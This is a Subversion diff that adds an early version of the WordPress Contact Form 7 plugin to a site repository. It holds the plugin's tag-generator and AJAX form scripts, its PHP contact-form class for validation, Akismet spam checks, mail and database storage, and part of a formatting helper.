+        options.push('id:' + tgInputs.tagId.val());
+      if (tgInputs.tagClasses.val())
+        jQuery.each(tgInputs.tagClasses.val().split(' '), function(i, n) {
+          options.push('class:' + n);
+        });
+      if (tgInputs.akismetAuthor.is(':checked'))
+        options.push('akismet:author');
+      if (tgInputs.akismetAuthorUrl.is(':checked'))
+        options.push('akismet:author_url');
+      if (tgInputs.akismetAuthorEmail.is(':checked'))
+        options.push('akismet:author_email');
+      options = (options.length > 0) ? ' ' + options.join(' ') : '';
+      var dv = '';
+      if (tgInputs.defaultValue.val()) {
+        dv = ' "' + tgInputs.defaultValue.val().replace(/["]/g, '&quot;') + '"';
+      }
+      var tag = name ? '[' + type + ' ' + name + options + dv +  ']' : '';
+      tgInputs.tag1st.val(tag);
+      break;
+    case 'textArea':
+      var type = 'textarea';
+      if (tgInputs.isRequiredField.is(':checked'))
+        type += '*';
+      var name = tgInputs.tagName.val();
+      var options = [];
+      if (tgInputs.tagCols.val() || tgInputs.tagRows.val())
+        options.push(tgInputs.tagCols.val() + 'x' + tgInputs.tagRows.val());
+      if (tgInputs.tagId.val())
+        options.push('id:' + tgInputs.tagId.val());
+      if (tgInputs.tagClasses.val())
+        jQuery.each(tgInputs.tagClasses.val().split(' '), function(i, n) {
+          options.push('class:' + n);
+        });
+      options = (options.length > 0) ? ' ' + options.join(' ') : '';
+      var dv = '';
+      if (tgInputs.defaultValue.val()) {
+        dv = ' "' + tgInputs.defaultValue.val().replace(/["]/g, '&quot;') + '"';
+      }
+      var tag = name ? '[' + type + ' ' + name + options + dv +  ']' : '';
+      tgInputs.tag1st.val(tag);
+      break;
+    case 'menu':
+    case 'checkboxes':
+    case 'radioButtons':
+      var type = '';
+      if ('menu' == tagType)
+        type = 'select';
+      else if ('checkboxes' == tagType)
+        type = 'checkbox';
+      else if ('radioButtons' == tagType)
+        type = 'radio';
+      if (tgInputs.isRequiredField.is(':checked'))
+        type += '*';
+      
+      var name = tgInputs.tagName.val();
+      var options = [];
+      if (tgInputs.allowsMultipleSelections.is(':checked'))
+        options.push('multiple');
+      if (tgInputs.insertFirstBlankOption.is(':checked'))
+        options.push('include_blank');
+      if (tgInputs.makeCheckboxesExclusive.is(':checked'))
+        options.push('exclusive');
+      if (tgInputs.tagId.val())
+        options.push('id:' + tgInputs.tagId.val());
+      if (tgInputs.tagClasses.val())
+        jQuery.each(tgInputs.tagClasses.val().split(' '), function(i, n) {
+          options.push('class:' + n);
+        });
+      options = (options.length > 0) ? ' ' + options.join(' ') : '';
+      var choices = '';
+      if (tgInputs.menuChoices.val())
+        jQuery.each(tgInputs.menuChoices.val().split("\n"), function(i, n) {
+          choices += ' "' + n.replace(/["]/g, '&quot;') + '"';
+        });
+      var tag = name ? '[' + type + ' ' + name + options + choices +  ']' : '';
+      tgInputs.tag1st.val(tag);
+      break;
+    case 'acceptance':
+      var type = 'acceptance';
+      var name = tgInputs.tagName.val();
+      var options = [];
+      if (tgInputs.isAcceptanceDefaultOn.is(':checked'))
+        options.push('default:on');
+      if (tgInputs.isAcceptanceInvert.is(':checked'))
+        options.push('invert');
+      if (tgInputs.tagId.val())
+        options.push('id:' + tgInputs.tagId.val());
+      if (tgInputs.tagClasses.val())
+        jQuery.each(tgInputs.tagClasses.val().split(' '), function(i, n) {
+          options.push('class:' + n);
+        });
+      options = (options.length > 0) ? ' ' + options.join(' ') : '';
+      var tag = name ? '[' + type + ' ' + name + options +  ']' : '';
+      tgInputs.tag1st.val(tag);
+      break;
+    case 'quiz':
+      var type = 'quiz';
+      var name = tgInputs.tagName.val();
+      var options = [];
+      if (tgInputs.tagSize.val() || tgInputs.tagMaxLength.val())
+        options.push(tgInputs.tagSize.val() + '/' + tgInputs.tagMaxLength.val());
+      if (tgInputs.tagId.val())
+        options.push('id:' + tgInputs.tagId.val());
+      if (tgInputs.tagClasses.val())
+        jQuery.each(tgInputs.tagClasses.val().split(' '), function(i, n) {
+          options.push('class:' + n);
+        });
+      options = (options.length > 0) ? ' ' + options.join(' ') : '';
+      var choices = '';
+      if (tgInputs.menuChoices.val())
+        jQuery.each(tgInputs.menuChoices.val().split("\n"), function(i, n) {
+          choices += ' "' + n.replace(/["]/g, '&quot;') + '"';
+        });
+      var tag = name ? '[' + type + ' ' + name + options + choices + ']' : '';
+      tgInputs.tag1st.val(tag);
+      break;
+    case 'captcha':
+      // for captchac
+      var type = 'captchac';
+      var name = tgInputs.tagName.val();
+      var options = [];
+      if (tgInputs.imageSizeSmall.is(':checked'))
+        options.push('size:s');
+      if (tgInputs.imageSizeMedium.is(':checked'))
+        options.push('size:m');
+      if (tgInputs.imageSizeLarge.is(':checked'))
+        options.push('size:l');
+      if (tgInputs.fgColor.val())
+        options.push('fg:#' + tgInputs.fgColor.val());
+      if (tgInputs.bgColor.val())
+        options.push('bg:#' + tgInputs.bgColor.val());
+      if (tgInputs.tagId.val())
+        options.push('id:' + tgInputs.tagId.val());
+      if (tgInputs.tagClasses.val())
+        jQuery.each(tgInputs.tagClasses.val().split(' '), function(i, n) {
+          options.push('class:' + n);
+        });
+      options = (options.length > 0) ? ' ' + options.join(' ') : '';
+      var tag = name ? '[' + type + ' ' + name + options +  ']' : '';
+      tgInputs.tag1st.val(tag);
+      // for captchar
+      var type = 'captchar';
+      var options = [];
+      if (tgInputs.tagSize.val() || tgInputs.tagMaxLength.val())
+        options.push(tgInputs.tagSize.val() + '/' + tgInputs.tagMaxLength.val());
+      if (tgInputs.tagId2.val())
+        options.push('id:' + tgInputs.tagId2.val());
+      if (tgInputs.tagClasses2.val())
+        jQuery.each(tgInputs.tagClasses2.val().split(' '), function(i, n) {
+          options.push('class:' + n);
+        });
+      options = (options.length > 0) ? ' ' + options.join(' ') : '';
+      var tag = name ? '[' + type + ' ' + name + options +  ']' : '';
+      tgInputs.tag2nd.val(tag);
+      break;
+    case 'fileUpload':
+      var type = 'file';
+      if (tgInputs.isRequiredField.is(':checked'))
+        type += '*';
+      var name = tgInputs.tagName.val();
+      var options = [];
+      if (tgInputs.tagId.val())
+        options.push('id:' + tgInputs.tagId.val());
+      if (tgInputs.tagClasses.val())
+        jQuery.each(tgInputs.tagClasses.val().split(' '), function(i, n) {
+          options.push('class:' + n);
+        });
+      if (tgInputs.tagFileSizeLimit.val())
+        options.push('limit:' + tgInputs.tagFileSizeLimit.val());
+      if (tgInputs.tagAcceptableFileTypes.val())
+        options.push('filetypes:' + tgInputs.tagAcceptableFileTypes.val().split(' ').join('|'));
+      options = (options.length > 0) ? ' ' + options.join(' ') : '';
+      var tag = name ? '[' + type + ' ' + name + options +  ']' : '';
+      tgInputs.tag1st.val(tag);
+      break;
+    case 'submit':
+      var type = 'submit';
+      
+      var options = [];
+      if (tgInputs.tagId.val())
+        options.push('id:' + tgInputs.tagId.val());
+      if (tgInputs.tagClasses.val())
+        jQuery.each(tgInputs.tagClasses.val().split(' '), function(i, n) {
+          options.push('class:' + n);
+        });
+      options = (options.length > 0) ? ' ' + options.join(' ') : '';
+      
+      var label = tgInputs.label.val();
+      if (label)
+        label = ' "' + label.replace(/["]/g, '&quot;') + '"';
+      var tag = '[' + type + options + label +  ']';
+      tgInputs.tag1st.val(tag);
+      break;
+  }
+}
+
+function tgDefaultName(tagType) {
+  var rand = Math.floor(Math.random() * 1000);
+  if ('textField' == tagType) {
+    return 'text-' + rand;
+  } else if ('emailField' == tagType) {
+    return 'email-' + rand;
+  } else if ('textArea' == tagType) {
+    return 'textarea-' + rand;
+  } else if ('menu' == tagType) {
+    return 'menu-' + rand;
+  } else if ('checkboxes' == tagType) {
+    return 'checkbox-' + rand;
+  } else if ('radioButtons' == tagType) {
+    return 'radio-' + rand;
+  } else if ('acceptance' == tagType) {
+    return 'acceptance-' + rand;
+  } else if ('quiz' == tagType) {
+    return 'quiz-' + rand;
+  } else if ('captcha' == tagType) {
+    return 'captcha-' + rand;
+  } else if ('fileUpload' == tagType) {
+    return 'file-' + rand;
+  }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js	(revision 44)
@@ -0,0 +1,106 @@
+jQuery(document).ready(function() {
+    try {
+        jQuery('div.wpcf7 > form').ajaxForm({
+            beforeSubmit: wpcf7BeforeSubmit,
+            dataType: 'json',
+            success: wpcf7ProcessJson
+        });
+    } catch (e) {
+    }
+
+    try {
+        jQuery('div.wpcf7 > form').each(function(i, n) {
+            wpcf7ToggleSubmit(jQuery(n));
+        });
+    } catch (e) {
+    }
+});
+
+// Exclusive checkbox
+function wpcf7ExclusiveCheckbox(elem) {
+    jQuery(elem.form).find('input:checkbox[name="' + elem.name + '"]').not(elem).removeAttr('checked');
+}
+
+// Toggle submit button
+function wpcf7ToggleSubmit(form) {
+    var submit = jQuery(form).find('input:submit');
+    if (! submit.length) return;
+
+    var acceptances = jQuery(form).find('input:checkbox.wpcf7-acceptance');
+    if (! acceptances.length) return;
+
+    submit.removeAttr('disabled');
+    acceptances.each(function(i, n) {
+        n = jQuery(n);
+        if (n.hasClass('wpcf7-invert') && n.is(':checked') || ! n.hasClass('wpcf7-invert') && ! n.is(':checked'))
+        submit.attr('disabled', 'disabled');
+    });
+}
+
+function wpcf7BeforeSubmit(formData, jqForm, options) {
+	wpcf7ClearResponseOutput();
+	jQuery('img.ajax-loader', jqForm[0]).css({ visibility: 'visible' });
+
+    formData.push({name: '_wpcf7_is_ajax_call', value: 1});
+    jQuery(jqForm[0]).append('<input type="hidden" name="_wpcf7_is_ajax_call" value="1" />');
+  
+	return true;
+}
+
+function wpcf7NotValidTip(into, message) {
+  jQuery(into).append('<span class="wpcf7-not-valid-tip">' + message + '</span>');
+	jQuery('span.wpcf7-not-valid-tip').mouseover(function() {
+		jQuery(this).fadeOut('fast');
+	});
+	jQuery(into).find(':input').mouseover(function() {
+		jQuery(into).find('.wpcf7-not-valid-tip').not(':hidden').fadeOut('fast');
+	});
+	jQuery(into).find(':input').focus(function() {
+		jQuery(into).find('.wpcf7-not-valid-tip').not(':hidden').fadeOut('fast');
+	});
+}
+
+function wpcf7ProcessJson(data) {
+	var wpcf7ResponseOutput = jQuery(data.into).find('div.wpcf7-response-output');
+	wpcf7ClearResponseOutput();
+	if (data.invalids) {
+		jQuery.each(data.invalids, function(i, n) {
+			wpcf7NotValidTip(jQuery(data.into).find(n.into), n.message);
+		});
+		wpcf7ResponseOutput.addClass('wpcf7-validation-errors');
+	}
+	if (data.captcha) {
+		jQuery.each(data.captcha, function(i, n) {
+			jQuery(data.into).find(':input[name="' + i + '"]').clearFields();
+			jQuery(data.into).find('img.wpcf7-captcha-' + i).attr('src', n);
+			var match = /([0-9]+)\.(png|gif|jpeg)$/.exec(n);
+			jQuery(data.into).find('input:hidden[name="_wpcf7_captcha_challenge_' + i + '"]').attr('value', match[1]);
+		});
+	}
+    if (data.quiz) {
+        jQuery.each(data.quiz, function(i, n) {
+            jQuery(data.into).find(':input[name="' + i + '"]').clearFields();
+            jQuery(data.into).find(':input[name="' + i + '"]').siblings('span.wpcf7-quiz-label').text(n[0]);
+            jQuery(data.into).find('input:hidden[name="_wpcf7_quiz_answer_' + i + '"]').attr('value', n[1]);
+        });
+    }
+	if (1 == data.spam) {
+		wpcf7ResponseOutput.addClass('wpcf7-spam-blocked');
+	}
+	if (1 == data.mailSent) {
+		jQuery(data.into).find('form').resetForm().clearForm();
+		wpcf7ResponseOutput.addClass('wpcf7-mail-sent-ok');
+
+        if (data.onSentOk)
+            jQuery.each(data.onSentOk, function(i, n) { eval(n) });
+	} else {
+		wpcf7ResponseOutput.addClass('wpcf7-mail-sent-ng');
+	}
+	wpcf7ResponseOutput.append(data.message).fadeIn('fast');
+}
+
+function wpcf7ClearResponseOutput() {
+	jQuery('div.wpcf7-response-output').hide().empty().removeClass('wpcf7-mail-sent-ok wpcf7-mail-sent-ng wpcf7-validation-errors wpcf7-spam-blocked');
+	jQuery('span.wpcf7-not-valid-tip').remove();
+	jQuery('img.ajax-loader').css({ visibility: 'hidden' });
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/includes/classes.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/includes/classes.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/includes/classes.php	(revision 44)
@@ -0,0 +1,546 @@
+<?php
+
+class WPCF7_ContactForm {
+
+	var $initial = false;
+
+	var $id;
+	var $title;
+	var $form;
+	var $mail;
+	var $mail_2;
+	var $messages;
+	var $additional_settings;
+
+	var $unit_tag;
+
+	var $responses_count = 0;
+	var $scanned_form_tags;
+
+	var $posted_data;
+	var $uploaded_files;
+
+	// Return true if this form is the same one as currently POSTed.
+	function is_posted() {
+		if ( ! isset( $_POST['_wpcf7_unit_tag'] ) || empty( $_POST['_wpcf7_unit_tag'] ) )
+			return false;
+
+		if ( $this->unit_tag == $_POST['_wpcf7_unit_tag'] )
+			return true;
+
+		return false;
+	}
+
+	/* Generating Form HTML */
+
+	function form_html() {
+		$form = '<div class="wpcf7" id="' . $this->unit_tag . '">';
+
+		$url = parse_url( $_SERVER['REQUEST_URI'] );
+		$url = $url['path'] . ( empty( $url['query'] ) ? '' : '?' . $url['query'] ) . '#' . $this->unit_tag;
+
+		$enctype = apply_filters( 'wpcf7_form_enctype', '' );
+
+		$form .= '<form action="' . $url . '" method="post" class="wpcf7-form"' . $enctype . '>';
+		$form .= '<div style="display: none;">';
+		$form .= '<input type="hidden" name="_wpcf7" value="' . $this->id . '" />';
+		$form .= '<input type="hidden" name="_wpcf7_version" value="' . WPCF7_VERSION . '" />';
+		$form .= '<input type="hidden" name="_wpcf7_unit_tag" value="' . $this->unit_tag . '" />';
+		$form .= '</div>';
+		$form .= $this->form_elements();
+
+		if ( ! $this->responses_count )
+			$form .= $this->form_response_output();
+
+		$form .= '</form>';
+
+		$form .= '</div>';
+
+		return $form;
+	}
+
+	function form_response_output() {
+		$class = 'wpcf7-response-output';
+
+		if ( $this->is_posted() ) { // Post response output for non-AJAX
+			if ( isset( $_POST['_wpcf7_mail_sent'] ) && $_POST['_wpcf7_mail_sent']['id'] == $this->id ) {
+				if ( $_POST['_wpcf7_mail_sent']['ok'] ) {
+					$class .= ' wpcf7-mail-sent-ok';
+					$content = $_POST['_wpcf7_mail_sent']['message'];
+				} else {
+					$class .= ' wpcf7-mail-sent-ng';
+					if ( $_POST['_wpcf7_mail_sent']['spam'] )
+						$class .= ' wpcf7-spam-blocked';
+					$content = $_POST['_wpcf7_mail_sent']['message'];
+				}
+			} elseif ( isset( $_POST['_wpcf7_validation_errors'] ) && $_POST['_wpcf7_validation_errors']['id'] == $this->id ) {
+				$class .= ' wpcf7-validation-errors';
+				$content = $this->message( 'validation_error' );
+			}
+		} else {
+			$class .= ' wpcf7-display-none';
+		}
+
+		$class = ' class="' . $class . '"';
+
+		return '<div' . $class . '>' . $content . '</div>';
+	}
+
+	function validation_error( $name ) {
+		if ( $this->is_posted() && $ve = $_POST['_wpcf7_validation_errors']['messages'][$name] )
+			return '<span class="wpcf7-not-valid-tip-no-ajax">' . esc_html( $ve ) . '</span>';
+
+		return '';
+	}
+
+	/* Form Elements */
+
+	function form_do_shortcode() {
+		global $wpcf7_shortcode_manager;
+
+		$form = $this->form;
+
+		$form = $wpcf7_shortcode_manager->do_shortcode( $form );
+		$this->scanned_form_tags = $wpcf7_shortcode_manager->scanned_tags;
+
+		if ( WPCF7_AUTOP )
+			$form = wpcf7_autop( $form );
+
+		return $form;
+	}
+
+	function form_scan_shortcode( $cond = null ) {
+		global $wpcf7_shortcode_manager;
+
+		if ( ! empty( $this->scanned_form_tags ) ) {
+			$scanned = $this->scanned_form_tags;
+		} else {
+			$scanned = $wpcf7_shortcode_manager->scan_shortcode( $this->form );
+			$this->scanned_form_tags = $scanned;
+		}
+
+		if ( empty( $scanned ) )
+			return null;
+
+		if ( ! is_array( $cond ) || empty( $cond ) )
+			return $scanned;
+
+		for ( $i = 0, $size = count( $scanned ); $i < $size; $i++ ) {
+
+			if ( is_string( $cond['type'] ) && ! empty( $cond['type'] ) ) {
+				if ( $scanned[$i]['type'] != $cond['type'] ) {
+					unset( $scanned[$i] );
+					continue;
+				}
+			} elseif ( is_array( $cond['type'] ) ) {
+				if ( ! in_array( $scanned[$i]['type'], $cond['type'] ) ) {
+					unset( $scanned[$i] );
+					continue;
+				}
+			}
+
+			if ( is_string( $cond['name'] ) && ! empty( $cond['name'] ) ) {
+				if ( $scanned[$i]['name'] != $cond['name'] ) {
+					unset ( $scanned[$i] );
+					continue;
+				}
+			} elseif ( is_array( $cond['name'] ) ) {
+				if ( ! in_array( $scanned[$i]['name'], $cond['name'] ) ) {
+					unset( $scanned[$i] );
+					continue;
+				}
+			}
+		}
+
+		return array_values( $scanned );
+	}
+
+	function form_elements() {
+		$form = $this->form_do_shortcode();
+
+		// Response output
+		$response_regex = '%\[\s*response\s*\]%';
+		$form = preg_replace_callback( $response_regex,
+			array( &$this, 'response_replace_callback' ), $form );
+
+		return $form;
+	}
+
+	function response_replace_callback( $matches ) {
+		$this->responses_count += 1;
+		return $this->form_response_output();
+	}
+
+	/* Validate */
+
+	function validate() {
+		$fes = $this->form_scan_shortcode();
+
+		$result = array( 'valid' => true, 'reason' => array() );
+
+		foreach ( $fes as $fe ) {
+			$type = $fe['type'];
+			$name = $fe['name'];
+
+			if ( empty( $name ) )
+				continue;
+
+			$result = apply_filters( 'wpcf7_validate_' . $type, $result, $fe );
+		}
+
+		return $result;
+	}
+
+	/* Acceptance */
+
+	function accepted() {
+		$accepted = true;
+
+		return apply_filters( 'wpcf7_acceptance', $accepted );
+	}
+
+	/* Akismet */
+
+	function akismet() {
+		global $akismet_api_host, $akismet_api_port;
+
+		if ( ! function_exists( 'akismet_http_post' ) ||
+			! ( get_option( 'wordpress_api_key' ) || $wpcom_api_key ) )
+			return false;
+
+		$akismet_ready = false;
+		$author = $author_email = $author_url = $content = '';
+		$fes = $this->form_scan_shortcode();
+
+		foreach ( $fes as $fe ) {
+			if ( ! is_array( $fe['options'] ) ) continue;
+
+			if ( preg_grep( '%^akismet:author$%', $fe['options'] ) && '' == $author ) {
+				$author = $_POST[$fe['name']];
+				$akismet_ready = true;
+			}
+
+			if ( preg_grep( '%^akismet:author_email$%', $fe['options'] ) && '' == $author_email ) {
+				$author_email = $_POST[$fe['name']];
+				$akismet_ready = true;
+			}
+
+			if ( preg_grep( '%^akismet:author_url$%', $fe['options'] ) && '' == $author_url ) {
+				$author_url = $_POST[$fe['name']];
+				$akismet_ready = true;
+			}
+
+			if ( '' != $content )
+				$content .= "\n\n";
+
+			$content .= $_POST[$fe['name']];
+		}
+
+		if ( ! $akismet_ready )
+			return false;
+
+		$c['blog'] = get_option( 'home' );
+		$c['user_ip'] = preg_replace( '/[^0-9., ]/', '', $_SERVER['REMOTE_ADDR'] );
+		$c['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
+		$c['referrer'] = $_SERVER['HTTP_REFERER'];
+		$c['comment_type'] = 'contactform7';
+		if ( $permalink = get_permalink() )
+			$c['permalink'] = $permalink;
+		if ( '' != $author )
+			$c['comment_author'] = $author;
+		if ( '' != $author_email )
+			$c['comment_author_email'] = $author_email;
+		if ( '' != $author_url )
+			$c['comment_author_url'] = $author_url;
+		if ( '' != $content )
+			$c['comment_content'] = $content;
+
+		$ignore = array( 'HTTP_COOKIE' );
+
+		foreach ( $_SERVER as $key => $value )
+			if ( ! in_array( $key, (array) $ignore ) )
+				$c["$key"] = $value;
+
+		$query_string = '';
+		foreach ( $c as $key => $data )
+			$query_string .= $key . '=' . urlencode( stripslashes( $data ) ) . '&';
+
+		$response = akismet_http_post( $query_string, $akismet_api_host,
+			'/1.1/comment-check', $akismet_api_port );
+		if ( 'true' == $response[1] )
+			return true;
+		else
+			return false;
+	}
+
+	/* Mail */
+
+	function mail() {
+		$fes = $this->form_scan_shortcode();
+
+		foreach ( $fes as $fe ) {
+			$name = $fe['name'];
+			$pipes = $fe['pipes'];
+
+			if ( empty( $name ) )
+				continue;
+
+			$value = $_POST[$name];
+
+			if ( WPCF7_USE_PIPE && is_a( $pipes, 'WPCF7_Pipes' ) && ! $pipes->zero() ) {
+				if ( is_array( $value) ) {
+					$new_value = array();
+					foreach ( $value as $v ) {
+						$new_value[] = $pipes->do_pipe( $v );
+					}
+					$value = $new_value;
+				} else {
+					$value = $pipes->do_pipe( $value );
+				}
+			}
+
+			$this->posted_data[$name] = $value;
+		}
+
+		if ( $this->compose_and_send_mail( $this->mail ) ) {
+			if ( $this->mail_2['active'] )
+				$this->compose_and_send_mail( $this->mail_2 );
+
+			return true;
+		}
+
+		return false;
+	}
+
+	function compose_and_send_mail( $mail_template ) {
+		$regex = '/\[\s*([a-zA-Z][0-9a-zA-Z:._-]*)\s*\]/';
+		$callback = array( &$this, 'mail_callback' );
+
+		$mail_subject = preg_replace_callback( $regex, $callback, $mail_template['subject'] );
+		$mail_sender = preg_replace_callback( $regex, $callback, $mail_template['sender'] );
+		$mail_body = preg_replace_callback( $regex, $callback, $mail_template['body'] );
+		$mail_recipient = preg_replace_callback( $regex, $callback, $mail_template['recipient'] );
+
+		$mail_headers = "From: $mail_sender\n";
+
+		if ( $mail_template['use_html'] )
+			$mail_headers .= "Content-Type: text/html\n";
+
+		$mail_additional_headers = preg_replace_callback( $regex, $callback,
+			$mail_template['additional_headers'] );
+		$mail_headers .= trim( $mail_additional_headers ) . "\n";
+
+		if ( $this->uploaded_files ) {
+			$for_this_mail = array();
+			foreach ( $this->uploaded_files as $name => $path ) {
+				if ( false === strpos( $mail_template['attachments'], "[${name}]" ) )
+					continue;
+				$for_this_mail[] = $path;
+			}
+
+			return @wp_mail( $mail_recipient, $mail_subject, $mail_body, $mail_headers,
+				$for_this_mail );
+		} else {
+			return @wp_mail( $mail_recipient, $mail_subject, $mail_body, $mail_headers );
+		}
+	}
+
+	function mail_callback( $matches ) {
+		if ( isset( $this->posted_data[$matches[1]] ) ) {
+			$submitted = $this->posted_data[$matches[1]];
+
+			if ( is_array( $submitted ) )
+				$submitted = join( ', ', $submitted );
+
+			return stripslashes( $submitted );
+
+		} else {
+			// Special [wpcf7.remote_ip] tag
+			if ( 'wpcf7.remote_ip' == $matches[1] )
+				return preg_replace( '/[^0-9a-f.:, ]/', '', $_SERVER['REMOTE_ADDR'] );
+
+			return $matches[0];
+		}
+	}
+
+	/* Message */
+
+	function message( $status ) {
+		$messages = $this->messages;
+		$message = '';
+
+		if ( ! is_array( $messages ) || ! isset( $messages[$status] ) )
+			$message = wpcf7_default_message( $status );
+		else
+			$message = $messages[$status];
+
+		return apply_filters( 'wpcf7_display_message', $message );
+	}
+
+	/* Additional settings */
+
+	function additional_setting( $name, $max = 1 ) {
+		$tmp_settings = (array) explode( "\n", $this->additional_settings );
+
+		$count = 0;
+		$values = array();
+
+		foreach ( $tmp_settings as $setting ) {
+			if ( preg_match('/^([a-zA-Z0-9_]+)\s*:(.*)$/', $setting, $matches ) ) {
+				if ( $matches[1] != $name )
+					continue;
+
+				if ( ! $max || $count < (int) $max ) {
+					$values[] = trim( $matches[2] );
+					$count += 1;
+				}
+			}
+		}
+
+		return $values;
+	}
+
+	/* Upgrade */
+
+	function upgrade() {
+		if ( ! isset( $this->mail['recipient'] ) )
+			$this->mail['recipient'] = get_option( 'admin_email' );
+
+
+		if ( ! is_array( $this->messages ) )
+			$this->messages = array();
+
+		$messages = array(
+			'mail_sent_ok', 'mail_sent_ng', 'akismet_says_spam', 'validation_error', 'accept_terms',
+			'invalid_email', 'invalid_required', 'captcha_not_match', 'upload_failed',
+			'upload_file_type_invalid', 'upload_file_too_large', 'upload_failed_php_error',
+			'quiz_answer_not_correct' );
+
+		foreach ($messages as $message) {
+			if ( ! isset( $this->messages[$message] ) )
+				$this->messages[$message] = wpcf7_default_message( $message );
+		}
+	}
+
+	/* Save */
+
+	function save() {
+		global $wpdb;
+
+		$table_name = wpcf7_table_name();
+
+		if ( $this->initial ) {
+			$result = $wpdb->insert( $table_name, array(
+				'title' => $this->title,
+				'form' => maybe_serialize( $this->form ),
+				'mail' => maybe_serialize( $this->mail ),
+				'mail_2' => maybe_serialize ( $this->mail_2 ),
+				'messages' => maybe_serialize( $this->messages ),
+				'additional_settings' => maybe_serialize( $this->additional_settings ) ) );
+
+			if ( $result ) {
+				$this->initial = false;
+				$this->id = $wpdb->insert_id;
+
+				do_action_ref_array( 'wpcf7_after_create', array( &$this ) );
+			} else {
+				return false; // Failed to save
+			}
+
+		} else { // Update
+			if ( ! (int) $this->id )
+				return false; // Missing ID
+
+			$result = $wpdb->update( $table_name, array(
+				'title' => $this->title,
+				'form' => maybe_serialize( $this->form ),
+				'mail' => maybe_serialize( $this->mail ),
+				'mail_2' => maybe_serialize ( $this->mail_2 ),
+				'messages' => maybe_serialize( $this->messages ),
+				'additional_settings' => maybe_serialize( $this->additional_settings )
+				), array( 'cf7_unit_id' => absint( $this->id) ) );
+
+			if ( false !== $result ) {
+				do_action_ref_array( 'wpcf7_after_update', array( &$this ) );
+			} else {
+				return false; // Failed to save
+			}
+		}
+
+		do_action_ref_array( 'wpcf7_after_save', array( &$this ) );
+		return true; // Succeeded to save
+	}
+
+	function copy() {
+		$new = new WPCF7_ContactForm();
+		$new->initial = true;
+
+		$new->title = $this->title . '_copy';
+		$new->form = $this->form;
+		$new->mail = $this->mail;
+		$new->mail_2 = $this->mail_2;
+		$new->messages = $this->messages;
+		$new->additional_settings = $this->additional_settings;
+
+		return $new;
+	}
+
+	function delete() {
+		global $wpdb;
+
+		if ( $this->initial )
+			return;
+
+		$table_name = wpcf7_table_name();
+
+		$query = $wpdb->prepare(
+			"DELETE FROM $table_name WHERE cf7_unit_id = %d LIMIT 1",
+			absint( $this->id ) );
+
+		$wpdb->query( $query );
+
+		$this->initial = true;
+		$this->id = null;
+	}
+}
+
+function wpcf7_contact_form( $id ) {
+	global $wpdb;
+
+	$table_name = wpcf7_table_name();
+
+	$id = (int) $id;
+
+	$query = $wpdb->prepare( "SELECT * FROM $table_name WHERE cf7_unit_id = %d", $id );
+
+	if ( ! $row = $wpdb->get_row( $query ) )
+		return false; // No data
+
+	$contact_form = new WPCF7_ContactForm();
+	$contact_form->id = $row->cf7_unit_id;
+	$contact_form->title = stripslashes_deep( $row->title );
+	$contact_form->form = stripslashes_deep( maybe_unserialize( $row->form ) );
+	$contact_form->mail = stripslashes_deep( maybe_unserialize( $row->mail ) );
+	$contact_form->mail_2 = stripslashes_deep( maybe_unserialize( $row->mail_2 ) );
+	$contact_form->messages = stripslashes_deep( maybe_unserialize( $row->messages ) );
+	$contact_form->additional_settings = stripslashes_deep( maybe_unserialize( $row->additional_settings ) );
+
+	$contact_form->upgrade();
+
+	return $contact_form;
+}
+
+function wpcf7_contact_form_default_pack() {
+	$contact_form = new WPCF7_ContactForm();
+	$contact_form->initial = true;
+
+	$contact_form->title = __( 'Untitled', 'wpcf7' );
+	$contact_form->form = wpcf7_default_form_template();
+	$contact_form->mail = wpcf7_default_mail_template();
+	$contact_form->mail_2 = wpcf7_default_mail_2_template();
+	$contact_form->messages = wpcf7_default_messages_template();
+
+	return $contact_form;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/includes/formatting.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/includes/formatting.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/includes/formatting.php	(revision 44)
@@ -0,0 +1,81 @@
+<?php
+
+function wpcf7_autop( $pee, $br = 1 ) {
+	if ( trim($pee) === '' )
+		return '';
+	$pee = $pee . "\n"; // just to make things a little easier, pad the end
+	$pee = preg_replace( '|<br />\s*<br />|', "\n\n", $pee );
+	// Space things out a little
+	/* wpcf7: removed select and input */
+	$allblocks = '(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|form|map|area|blockquote|address|math|style|p|h[1-6]|hr)';
+	$pee = preg_replace( '!(<' . $allblocks . '[^>]*>)!', "\n$1", $pee );
+	$pee = preg_replace( '!(</' . $allblocks . '>)!', "$1\n\n", $pee );
+	$pee = str_replace( array( "\r\n", "\r" ), "\n", $pee ); // cross-platform newlines
+	if ( strpos( $pee, '<object' ) !== false ) {
+		$pee = preg_replace( '|\s*<param([^>]*)>\s*|', "<param$1>", $pee ); // no pee inside object/embed
+		$pee = preg_replace( '|\s*</embed>\s*|', '</embed>', $pee );
+	}
+	$pee = preg_replace( "/\n\n+/", "\n\n", $pee ); // take care of duplicates
+	// make paragraphs, including one at the end
+	$pees = preg_split( '/\n\s*\n/', $pee, -1, PREG_SPLIT_NO_EMPTY );
+	$pee = '';
+	foreach ( $pees as $tinkle )
+		$pee .= '<p>' . trim( $tinkle, "\n" ) . "</p>\n";
+	$pee = preg_replace( '|<p>\s*</p>|', '', $pee ); // under certain strange conditions it could create a P of entirely whitespace
+	$pee = preg_replace( '!<p>([^<]+)</(div|address|form)>!', "<p>$1</p></$2>", $pee );
+	$pee = preg_replace( '!<p>\s*(</?' . $allblocks . '[^>]*>)\s*</p>!', "$1", $pee ); // don't pee all over a tag
+	$pee = preg_replace( "|<p>(<li.+?)</p>|", "$1", $pee ); // problem with nested lists
+	$pee = preg_replace( '|<p><blockquote([^>]*)>|i', "<blockquote$1><p>", $pee );
+	$pee = str_replace( '</blockquote></p>', '</p></blockquote>', $pee );
+	$pee = preg_replace( '!<p>\s*(</?' . $allblocks . '[^>]*>)!', "$1", $pee );
